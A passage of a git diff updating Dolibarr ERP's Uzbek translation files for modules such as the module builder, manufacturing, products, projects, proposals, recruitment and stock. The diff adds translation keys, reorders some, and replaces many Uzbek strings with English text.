qoldirmasdan yaratish uchun lugʻat nomini kiriting. So'zlarni ajratish uchun katta harflardan foydalaning (Masalan: MyDico...). Sinf fayli, balki SQL fayli ham yaratiladi. ModuleBuilderDesc2=Modullar ishlab chiqarilgan / tahrirlangan yo'l (tashqi modullar uchun birinchi katalog %s da belgilangan): %s ModuleBuilderDesc3=Yaratilgan / tahrirlanadigan modullar topildi: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4= %s fayli modul katalogining ildizida mavju NewModule=Yangi modul NewObjectInModulebuilder=Yangi ob'ekt NewDictionary=Yangi lug'at +ModuleName=Module name ModuleKey=Modul kaliti ObjectKey=Ob'ekt kaliti DicKey=Lug'at kaliti @@ -48,11 +50,14 @@ PathToModulePackage=Modul / dastur paketini zipga yo'naltirish PathToModuleDocumentation=Modul / dastur hujjatlari fayliga yo'l (%s) SpaceOrSpecialCharAreNotAllowed=Bo'sh joy yoki maxsus belgilarga ruxsat berilmaydi. FileNotYetGenerated=Fayl hali yaratilmagan +GenerateCode=Generate code RegenerateClassAndSql=.Class va .sql fayllarini majburiy yangilash RegenerateMissingFiles=Yo'qotilgan fayllarni yaratish SpecificationFile=Hujjatlar fayli LanguageFile=Til uchun fayl ObjectProperties=Ob'ekt xususiyatlari +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty= %s xususiyatini o'chirishni xohlaysizmi? Bu PHP sinfidagi kodni o'zgartiradi, shuningdek ob'ektni jadval ta'rifidan ustunni olib tashlaydi. NotNull=NULL emas NotNullDesc=1=Ma'lumotlar bazasini NO NULL ga o'rnating, 0=Nul qiymatlarga ruxsat bering, -1=Bo'sh bo'lsa, qiymatni NULLga majburlash orqali null qiymatlarga ruxsat bering ('' yoki 0) @@ -81,15 +86,16 @@ IsAMeasure=Bu o'lchovdir DirScanned=Katalog skanerdan o'tkazildi NoTrigger=Trigger yo'q NoWidget=Vidjet yo‘q -GoToApiExplorer=API Explorer +ApiExplorer=API explorer ListOfMenusEntries=Menyu yozuvlari ro'yxati ListOfDictionariesEntries=Lug'at yozuvlari ro'yxati ListOfPermissionsDefined=Belgilangan ruxsatnomalar ro'yxati SeeExamples=Bu erda misollarni ko'ring -EnabledDesc=Ushbu maydon faol bo'lishi sharti (Masalan: 1 yoki $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Maydon ko'rinadimi? (Masalan: 0 = Hech qachon ko'rinmaydi, 1 = Ro'yxatda ko'rinadi va shakllarni yaratadi / yangilaydi / ko'radi, 2 = Faqat ro'yxatda ko'rinadi, 3 = Faqat shaklni yaratadi / yangilaydi / ko'radi (ro'yxatda emas), 4 = Ro'yxatda ko'rinadigan va faqat yangilash / ko'rish formasi (yaratilmaydi), 5 = Faqat ro'yxat ko'rinishida ko'rinadigan shakl (yaratilmaydi, yangilanmaydi).

      manfiy qiymatdan foydalanish maydon sukut bo'yicha ro'yxatda ko'rsatilmaydi, lekin ko'rish uchun tanlanishi mumkin).

      Bu ibora bo'lishi mumkin, masalan:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user-> Rights_day> -DisplayOnPdfDesc=Ushbu maydonni mos keladigan PDF hujjatlarida ko'rsating, siz "Pozitsiya" maydonida pozitsiyani boshqarishingiz mumkin.
      Bugungi kunda ma'lum compatibles PDF modellari: eratosthene (tartibi), espadon (kema), shimgichni (Xarajatlarni), ko'k (propal / narx), cornas (etkazib beruvchi tartib)

      hujjat uchun:
      0 =
      1 ko'rsatilmaydi = ko'rsatish
      2 = ko'rsatishi faqat bo'sh emas, agar

      uchun hujjat bosqichlari:
      0 = emas
      1 = keyin Tavsif ustun 4 = namoyish
      ta'rifi keyin liniyasi Tavsif ustun 3 = namoyish
      bir ustun ko'rsatiladi ko'rsatilgan faqat bo'sh bo'lmasa tavsif -DisplayOnPdf=PDF-da ko'rsatish +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Jami ro'yxatga kiritish uchun maydon qiymatini yig'ish mumkinmi? (Masalan: 1 yoki 0) SearchAllDesc=Ushbu maydon tezkor qidiruv vositasidan qidirish uchun foydalaniladimi? (Masalan: 1 yoki 0) SpecDefDesc=O'zingizning modulingiz bilan ta'minlamoqchi bo'lgan barcha boshqa hujjatlarni bu erga kiriting. Siz .md yoki undan yaxshiroq, boy .asciidoc sintaksisidan foydalanishingiz mumkin. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Muayyan tahrirlovchining URL manzilidan foydalaning UseSpecificFamily = Muayyan oiladan foydalaning UseSpecificAuthor = Muayyan muallifdan foydalaning UseSpecificVersion = Muayyan dastlabki versiyadan foydalaning -IncludeRefGeneration=Ob'ektga havola maxsus raqamlash qoidalari bilan avtomatik ravishda yaratilishi kerak +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Maxsus raqamlash qoidalaridan foydalangan holda ma'lumotnomani avtomatik ravishda yaratishni boshqarish uchun kod qo'shmoqchi bo'lsangiz, buni belgilang -IncludeDocGeneration=Ob'ekt uchun shablonlardan ba'zi hujjatlarni yaratmoqchiman +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Agar buni belgilasangiz, yozuvga "Hujjat yaratish" katagini qo'shish uchun ba'zi kodlar hosil bo'ladi. -ShowOnCombobox=Kombay qutisiga qiymatni ko'rsating +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Maslahatlar uchun kalit CSSClass=Formani tahrirlash / yaratish uchun CSS CSSViewClass=O'qish shakli uchun CSS CSSListClass=Ro'yxat uchun CSS NotEditable=Tahrirlash mumkin emas ForeignKey=Chet el kaliti -TypeOfFieldsHelp=Maydonlar turi:
      varchar(99), double(24,8), real, text, html, datetime, timetamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' yozuvni yaratish uchun kombinatsiyadan keyin + tugmasini qo'shamiz degan ma'noni anglatadi
      'filtr' bu sql sharti, misol: 'status=1 AND fk_user=__USER_ID__ VA ob'ekt ENT (__SHARED_)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii-dan HTML-ga o'zgartiruvchi AsciiToPdfConverter=Ascii-dan PDF-ga o'tkazuvchi TableNotEmptyDropCanceled=Stol bo'sh emas Drop bekor qilindi. ModuleBuilderNotAllowed=Modul yaratuvchisi mavjud, ammo sizning foydalanuvchingizga ruxsat berilmagan. ImportExportProfiles=Import va eksport rejimlari -ValidateModBuilderDesc=Agar siz kiritish yoki yangilash vaqtida maydon mazmunini tekshirish uchun chaqirilayotgan ob'ektning $this->validateField() usuliga ega bo'lishni istasangiz, buni 1 ga o'rnating. Agar tekshirish talab qilinmasa, 0 ni o'rnating. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Ogohlantirish: Ma'lumotlar bazasi avtomatik ravishda yangilanmaydi, siz jadvallarni yo'q qilishingiz va jadvallarni qayta yaratish uchun modulni o'chirib qo'yishingiz kerak. LinkToParentMenu=Asosiy menyu (fk_xxxxmenu) ListOfTabsEntries=Yorliqlar ro'yxati TabsDefDesc=Bu yerda modulingiz tomonidan taqdim etilgan yorliqlarni belgilang TabsDefDescTooltip=Modul/ilovangiz tomonidan taqdim etilgan yorliqlar $this->tabs massivida modul identifikatori faylida aniqlanadi. Siz ushbu faylni qo'lda tahrirlashingiz yoki o'rnatilgan muharriridan foydalanishingiz mumkin. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/uz_UZ/mrp.lang b/htdocs/langs/uz_UZ/mrp.lang index d9e022d5d5b..37ec90cc3d7 100644 --- a/htdocs/langs/uz_UZ/mrp.lang +++ b/htdocs/langs/uz_UZ/mrp.lang @@ -11,8 +11,8 @@ Bom=Materiallar veksellari BillOfMaterials=Materiallar hujjati BillOfMaterialsLines=Materiallar ro'yxati BOMsSetup=BOM modulini sozlash -ListOfBOMs=Materiallar ro'yxati - BOM -ListOfManufacturingOrders=Ishlab chiqarish buyurtmalarining ro'yxati +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Yangi hisobot materiallari ProductBOMHelp=Ushbu BOM bilan yaratish (yoki qismlarga ajratish) uchun mahsulot.
      Izoh: 'Mahsulotning tabiati' = 'Xomashyo' xususiyatiga ega mahsulotlar ushbu ro'yxatda ko'rinmaydi. BOMsNumberingModules=BOM raqamlash shablonlari @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=%s materiallar hisobini klonlamoqchimisiz? ConfirmCloneMo=%s ishlab chiqarish buyurtmasini klonlamoqchimisiz? ManufacturingEfficiency=Ishlab chiqarish samaradorligi ConsumptionEfficiency=Iste'mol samaradorligi +Consumption=Consumption ValueOfMeansLoss=0,95 qiymati ishlab chiqarish yoki demontaj paytida o'rtacha 5%% yo'qotishni bildiradi. ValueOfMeansLossForProductProduced=0,95 qiymati ishlab chiqarilgan mahsulotning o'rtacha 5%% yo'qolishini anglatadi DeleteBillOfMaterials=Materiallar varaqasini o'chirish @@ -82,6 +83,7 @@ ProductsToProduce=Ishlab chiqarish uchun mahsulotlar UnitCost=Birlik narxi TotalCost=Umumiy qiymati BOMTotalCost=Ushbu BOMni ishlab chiqarish uchun har bir miqdor va iste'mol qilinadigan mahsulot narxiga qarab xarajatlar (agar belgilangan bo'lsa, Narx narxidan foydalaning, boshqasi aniqlangan bo'lsa, o'rtacha og'irlik narxidan, eng yaxshi sotib olish narxidan) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Ishlab chiqarish buyurtmasini yopish uchun siz avval ishlab chiqarishni boshlashingiz kerak ('%s' yorlig'iga qarang). Ammo siz buni bekor qilishingiz mumkin. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Kitni BOM yoki MOda ishlatib bo'lmaydi Workstation=Ish stantsiyasi @@ -112,3 +114,7 @@ MOAndLines=Buyurtma va chiziqlarni ishlab chiqarish MoChildGenerate=Generate Child Mo ParentMo=MO Parent MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/uz_UZ/products.lang b/htdocs/langs/uz_UZ/products.lang index d2ae38bce36..4d7461949f5 100644 --- a/htdocs/langs/uz_UZ/products.lang +++ b/htdocs/langs/uz_UZ/products.lang @@ -262,7 +262,7 @@ Quarter1=1-chi. Chorak Quarter2=2-chi. Chorak Quarter3=3-chi. Chorak Quarter4=4-chi. Chorak -BarCodePrintsheet=Shtrixli kodni chop eting +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Ushbu vosita yordamida siz shtrix-stiker varaqlarini chop etishingiz mumkin. Stiker sahifangizning formatini, shtrix-kod turini va shtrix-kodning qiymatini tanlang, so'ng %s tugmachasini bosing. NumberOfStickers=Sahifada chop etiladigan stikerlar soni PrintsheetForOneBarCode=Bitta shtrix-kod uchun bir nechta stikerlarni chop eting @@ -345,7 +345,7 @@ PossibleValues=Mumkin bo'lgan qiymatlar GoOnMenuToCreateVairants=Atribut variantlarini tayyorlash uchun (ranglar, o'lchamlar, ... kabi) %s - %s menyusiga o'ting. UseProductFournDesc=Xaridorlar tavsifiga qo'shimcha ravishda sotuvchilar tomonidan aniqlangan mahsulot tavsifini (har bir sotuvchi ma'lumotnomasi uchun) belgilash xususiyatini qo'shing. ProductSupplierDescription=Mahsulot uchun sotuvchining tavsifi -UseProductSupplierPackaging=Paketni etkazib beruvchilar narxlarida ishlating (etkazib beruvchilar hujjatlaridagi qatorni qo'shish / yangilashda etkazib beruvchining narxida belgilangan qadoqlarga muvofiq miqdorlarni qayta hisoblang) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Paket PackagingForThisProductDesc=Siz avtomatik ravishda ushbu miqdorning bir nechtasini sotib olasiz. QtyRecalculatedWithPackaging=Chiziq miqdori etkazib beruvchilarning qadoqlariga muvofiq qayta hisoblab chiqilgan @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Aksiya faqat mahsulotning variantida mavjud ProductsPricePerCustomer=Xaridorlar uchun mahsulot narxi ProductSupplierExtraFields=Qo'shimcha atributlar (etkazib beruvchilar narxi) DeleteLinkedProduct=Kombinatsiyaga bog'langan bolalar mahsulotini o'chirib tashlang -AmountUsedToUpdateWAP=O'rtacha o'rtacha narxni yangilash uchun ishlatiladigan miqdor +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=O'rtacha narx PMPValueShort=WAP mandatoryperiod=Majburiy davrlar @@ -416,6 +416,7 @@ ProductsMergeSuccess=Mahsulotlar birlashtirildi ErrorsProductsMerge=Mahsulotlarni birlashtirishdagi xatolar SwitchOnSaleStatus=Sotish holatini yoqing SwitchOnPurchaseStatus=Xarid holatini yoqing +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Qo'shimcha maydonlar (birja harakati) InventoryExtraFields= Qo'shimcha maydonlar (inventarizatsiya) ScanOrTypeOrCopyPasteYourBarCodes=Shtrix-kodlaringizni skanerlang yoki yozing yoki nusxalash/joylashtirish @@ -427,3 +428,4 @@ RealValuation=Haqiqiy baholash ConfirmEditExtrafield = O'zgartirmoqchi bo'lgan qo'shimcha maydonni tanlang ConfirmEditExtrafieldQuestion = Haqiqatan ham bu qoʻshimcha maydonni oʻzgartirmoqchimisiz? ModifyValueExtrafields = Qo'shimcha maydonning qiymatini o'zgartirish +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/uz_UZ/projects.lang b/htdocs/langs/uz_UZ/projects.lang index a64a720d577..ea23af2c8cd 100644 --- a/htdocs/langs/uz_UZ/projects.lang +++ b/htdocs/langs/uz_UZ/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Ushbu ko'rinish sizga o'qishga ruxsat berilgan barcha loyihalar TasksDesc=Ushbu ko'rinish barcha loyihalar va vazifalarni taqdim etadi (foydalanuvchi ruxsatlari sizga hamma narsani ko'rishga ruxsat beradi). AllTaskVisibleButEditIfYouAreAssigned=Malakali loyihalar uchun barcha vazifalar ko'rinib turadi, ammo siz faqat tanlangan foydalanuvchiga berilgan topshiriq uchun vaqt kiritishingiz mumkin. Agar unga vaqt kiritishingiz kerak bo'lsa, vazifani tayinlang. OnlyYourTaskAreVisible=Faqat sizga yuklangan vazifalar ko'rinadi. Agar topshiriq bo'yicha vaqtni kiritishingiz kerak bo'lsa va agar bu erda vazifa ko'rinmasa, unda siz o'zingiz uchun vazifani tayinlashingiz kerak. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Loyihalarning vazifalari ProjectCategories=Loyiha teglari / toifalari NewProject=Yangi loyiha @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Status bo'yicha ochiq loyihalarning etakchi OpportunitiesStatusForProjects=Loyihalar miqdori bo'yicha maqomi bo'yicha etakchilik qiladi ShowProject=Loyihani namoyish etish ShowTask=Vazifani ko'rsatish +SetThirdParty=Set third party SetProject=Loyihani o'rnating +OutOfProject=Out of project NoProject=Hech qanday loyiha aniqlanmagan yoki tegishli emas NbOfProjects=Loyihalar soni NbOfTasks=Vazifalar soni @@ -122,7 +125,8 @@ ValidateProject=Proyektorni tasdiqlang ConfirmValidateProject=Ushbu loyihani tasdiqlamoqchimisiz? CloseAProject=Loyihani yoping ConfirmCloseAProject=Ushbu loyihani yopmoqchi ekanligingizga aminmisiz? -AlsoCloseAProject=Loyihani yoping (agar siz hali ham ishlab chiqarish vazifalarini bajarishingiz kerak bo'lsa, uni ochiq holda saqlang) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Ochiq loyiha ConfirmReOpenAProject=Ushbu loyihani qayta ochishni xohlaysizmi? ProjectContact=Loyiha aloqalari @@ -165,7 +169,7 @@ OpportunityProbability=Qo'rg'oshin ehtimoli OpportunityProbabilityShort=Qo'rg'oshin probab. OpportunityAmount=Qo'rg'oshin miqdori OpportunityAmountShort=Qo'rg'oshin miqdori -OpportunityWeightedAmount=Imkoniyatni hisobga olgan holda miqdori +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. tortilgan miqdor OpportunityAmountAverageShort=O'rtacha qo'rg'oshin miqdori OpportunityAmountWeigthedShort=Qo'rg'oshin miqdori @@ -238,7 +242,7 @@ OppStatusPENDING=Kutilmoqda OppStatusWON=Yutuq OppStatusLOST=Yo'qotilgan Budget=Byudjet -AllowToLinkFromOtherCompany=Loyihani boshqa kompaniyadan bog'lashga ruxsat bering

      Qo'llab-quvvatlanadigan qiymatlar:
      - Bo'sh tuting: kompaniyaning istalgan loyihasini bog'lashi mumkin (default) a0342fccfdab " vergul bilan ajratilgan uchinchi tomon identifikatorlari: ushbu uchinchi tomonlarning barcha loyihalarini bog'lashi mumkin (Masalan: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Oxirgi %s loyihalari LatestModifiedProjects=Oxirgi %s o'zgartirilgan loyihalar OtherFilteredTasks=Boshqa filtrlangan vazifalar @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Foyda yordamida hisoblanadi AddPersonToTask=Vazifalarga qo'shimcha ravishda qo'shing UsageOrganizeEvent=Foydalanish: tadbirlarni tashkil etish PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Barcha vazifalar bajarilgandan so'ng loyihani yopiq deb tasniflang (100%% taraqqiyoti) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Izoh: 100%% da barcha vazifalar mavjud loyihalar ta'sir qilmaydi: ularni qo'lda yopishingiz kerak bo'ladi. Ushbu parametr faqat ochiq loyihalarga ta'sir qiladi. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Hisob-kitob qilinmagan sarflangan vaqtni tanlang, so'ngra hisob-kitob qilish uchun "Hisob-fakturani yaratish" ommaviy harakati ProjectTasksWithoutTimeSpent=Vaqt sarflamasdan loyiha vazifalari FormForNewLeadDesc=Biz bilan bog'lanish uchun quyidagi shaklni to'ldirganingiz uchun tashakkur. Shuningdek, bizga to'g'ridan-to'g'ri %s elektron pochta xabarini yuborishingiz mumkin. diff --git a/htdocs/langs/uz_UZ/propal.lang b/htdocs/langs/uz_UZ/propal.lang index ba04616e36d..98c7577d27f 100644 --- a/htdocs/langs/uz_UZ/propal.lang +++ b/htdocs/langs/uz_UZ/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Mavjudligini kechiktirish SetAvailability=Mavjudligini kechiktirishni o'rnating AfterOrder=buyurtmadan keyin OtherProposals=Boshqa takliflar + ##### Availability ##### AvailabilityTypeAV_NOW=Darhol AvailabilityTypeAV_1W=1 hafta AvailabilityTypeAV_2W=2 hafta AvailabilityTypeAV_3W=3 hafta AvailabilityTypeAV_1M=1 oy -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Vakilning keyingi taklifi TypeContact_propal_external_BILLING=Mijozlarning hisob-fakturasi bilan aloqa qilish TypeContact_propal_external_CUSTOMER=Keyingi taklif bilan mijozlar bilan bog'lanish TypeContact_propal_external_SHIPPING=Yetkazib berish uchun mijozlar bilan bog'lanish + # Document models -DocModelAzurDescription=Taklifning to'liq modeli (Cyan shablonining eski tatbiqi) -DocModelCyanDescription=To'liq taklif modeli -DefaultModelPropalCreate=Standart model yaratish -DefaultModelPropalToBill=Tijorat taklifini yopish paytida standart shablon (hisob-faktura) -DefaultModelPropalClosed=Tijorat taklifini yopish paytida standart shablon (taqdim etilmagan) -ProposalCustomerSignature=Yozma qabul, kompaniya muhri, sanasi va imzosi -ProposalsStatisticsSuppliers=Sotuvchi takliflari statistikasi -CaseFollowedBy=Keyingi ish -SignedOnly=Faqat imzolangan -NoSign=Imzolanmagan toʻplam -NoSigned=imzolanmagan to'plam CantBeNoSign=o'rnatib bo'lmaydi, imzolanmagan +CaseFollowedBy=Keyingi ish ConfirmMassNoSignature=Ommaviy imzolanmagan tasdiq ConfirmMassNoSignatureQuestion=Tanlangan yozuvlarni imzolanmagan holda o'rnatmoqchimisiz? -IsNotADraft=qoralama emas -PassedInOpenStatus=tasdiqlangan -Sign=Imzo -Signed=imzolangan -ConfirmMassValidation=Ommaviy tasdiqlash tasdiqlanishi ConfirmMassSignature=Ommaviy imzoni tasdiqlash -ConfirmMassValidationQuestion=Haqiqatan ham tanlangan yozuvlarni tasdiqlamoqchimisiz? ConfirmMassSignatureQuestion=Tanlangan yozuvlarni imzolashni xohlaysizmi? -IdProposal=Taklif identifikatori +ConfirmMassValidation=Ommaviy tasdiqlash tasdiqlanishi +ConfirmMassValidationQuestion=Haqiqatan ham tanlangan yozuvlarni tasdiqlamoqchimisiz? +ConfirmRefusePropal=Haqiqatan ham bu tijorat taklifini rad qilmoqchimisiz? +ContractSigned=Contract signed +DefaultModelPropalClosed=Tijorat taklifini yopish paytida standart shablon (taqdim etilmagan) +DefaultModelPropalCreate=Standart model yaratish +DefaultModelPropalToBill=Tijorat taklifini yopish paytida standart shablon (hisob-faktura) +DocModelAzurDescription=Taklifning to'liq modeli (Cyan shablonining eski tatbiqi) +DocModelCyanDescription=To'liq taklif modeli +FichinterSigned=Intervention signed IdProduct=Mahsulot identifikatori +IdProposal=Taklif identifikatori +IsNotADraft=qoralama emas LineBuyPriceHT=Sotib olish narxlari qatori uchun soliqni olib tashlagan holda -SignPropal=Taklifni qabul qiling +NoSign=Refuse +NoSigned=imzolanmagan to'plam +PassedInOpenStatus=tasdiqlangan +PropalAlreadyRefused=Taklif allaqachon rad etilgan +PropalAlreadySigned=Taklif allaqachon qabul qilingan +PropalRefused=Taklif rad etildi +PropalSigned=Taklif qabul qilindi +ProposalCustomerSignature=Yozma qabul, kompaniya muhri, sanasi va imzosi +ProposalsStatisticsSuppliers=Sotuvchi takliflari statistikasi RefusePropal=Taklifni rad etish Sign=Imzo -NoSign=Imzolanmagan toʻplam -PropalAlreadySigned=Taklif allaqachon qabul qilingan -PropalAlreadyRefused=Taklif allaqachon rad etilgan -PropalSigned=Taklif qabul qilindi -PropalRefused=Taklif rad etildi -ConfirmRefusePropal=Haqiqatan ham bu tijorat taklifini rad qilmoqchimisiz? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Taklifni qabul qiling +Signed=imzolangan +SignedOnly=Faqat imzolangan diff --git a/htdocs/langs/uz_UZ/recruitment.lang b/htdocs/langs/uz_UZ/recruitment.lang index 8f30a60f515..7aecf47dee4 100644 --- a/htdocs/langs/uz_UZ/recruitment.lang +++ b/htdocs/langs/uz_UZ/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Elektron pochta orqali yollovchi ToUseAGenericEmail=Umumiy elektron pochtadan foydalanish uchun. Agar aniqlanmagan bo'lsa, ishga qabul qilish uchun mas'ul bo'lgan elektron pochtadan foydalaniladi NewCandidature=Yangi dastur ListOfCandidatures=Arizalar ro'yxati -RequestedRemuneration=Talab qilingan to'lov -ProposedRemuneration=Taklif qilingan ish haqi +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Shartnoma taklif qilingan ContractSigned=Shartnoma imzolandi ContractRefused=Shartnoma rad etildi RecruitmentCandidature=Ilova JobPositions=Ish joylari RecruitmentCandidatures=Ilovalar -InterviewToDo=Intervyu qilish kerak +InterviewToDo=Contacts to follow AnswerCandidature=Ariza javobi YourCandidature=Sizning arizangiz YourCandidatureAnswerMessage=Arizangiz uchun tashakkur.
      ... diff --git a/htdocs/langs/uz_UZ/salaries.lang b/htdocs/langs/uz_UZ/salaries.lang index ad81408709a..1d2aba1d51f 100644 --- a/htdocs/langs/uz_UZ/salaries.lang +++ b/htdocs/langs/uz_UZ/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Foydalanuvchi uchinchi shaxslar uchun foydalaniladigan buxgalteriya hisobi -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Foydalanuvchi kartasida belgilangan buxgalteriya hisobi faqat Subledger buxgalteriyasi uchun ishlatiladi. Ushbu foydalanuvchi Bosh daftar uchun va Subledger buxgalteriyasining standart qiymati sifatida foydalanuvchida maxsus foydalanuvchi hisob qaydnomasi aniqlanmagan taqdirda foydalaniladi. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Ish haqi to'lovlari bo'yicha sukut bo'yicha buxgalteriya hisobi CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Odatiy bo'lib, Ish haqini yaratishda "Umumiy to'lovni avtomatik ravishda yaratish" parametrini bo'sh qoldiring Salary=Ish haqi diff --git a/htdocs/langs/uz_UZ/stocks.lang b/htdocs/langs/uz_UZ/stocks.lang index 096624a7703..d39a3e63572 100644 --- a/htdocs/langs/uz_UZ/stocks.lang +++ b/htdocs/langs/uz_UZ/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Kelajakdagi sana StocksByLotSerial=Qurilma / seriya bo'yicha aktsiyalar LotSerial=Ko'p / seriyalar LotSerialList=Lot / seriyalar ro'yxati +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=Harakatlar ErrorWarehouseRefRequired=Omborga mos yozuvlar nomi talab qilinadi ListOfWarehouses=Omborlar ro'yxati @@ -48,7 +49,7 @@ StockCorrection=Qimmatli qog'ozlarni tuzatish CorrectStock=To'g'ri aktsiyalar StockTransfer=Qimmatli qog'ozlarni o'tkazish TransferStock=O'tkazma zaxiralari -MassStockTransferShort=Ommaviy aktsiyalarni o'tkazish +MassStockTransferShort=Bulk stock change StockMovement=Birja harakati StockMovements=Birja harakatlari NumberOfUnit=Birlik soni @@ -146,8 +147,9 @@ Replenishments=To'ldirish NbOfProductBeforePeriod=%s mahsulotining tanlangan muddatgacha zaxiradagi miqdori (<%s) NbOfProductAfterPeriod=Tanlangan davrdan keyin zaxiradagi %s mahsulotining miqdori (> %s) MassMovement=Ommaviy harakat -SelectProductInAndOutWareHouse=Manba omborini va maqsadli omborni, mahsulotni va miqdorni tanlang, so'ng "%s" tugmasini bosing. Bu barcha kerakli harakatlar uchun bajarilgandan so'ng, "%s" tugmasini bosing. +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Yozuvni o'tkazish +RecordMovements=Record stock movements ReceivingForSameOrder=Ushbu buyurtma uchun kvitansiyalar StockMovementRecorded=Qimmatli qog'ozlar harakati qayd etildi RuleForStockAvailability=Qimmatli qog'ozlarga talablar bo'yicha qoidalar @@ -234,7 +236,7 @@ StockIncrease=Qimmatli qog'ozlarning ko'payishi StockDecrease=Qimmatli qog'ozlar kamayadi InventoryForASpecificWarehouse=Muayyan ombor uchun inventarizatsiya InventoryForASpecificProduct=Muayyan mahsulot uchun inventarizatsiya -StockIsRequiredToChooseWhichLotToUse=Qaysi lotdan foydalanishni tanlash uchun stok talab qilinadi +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=Majburlash 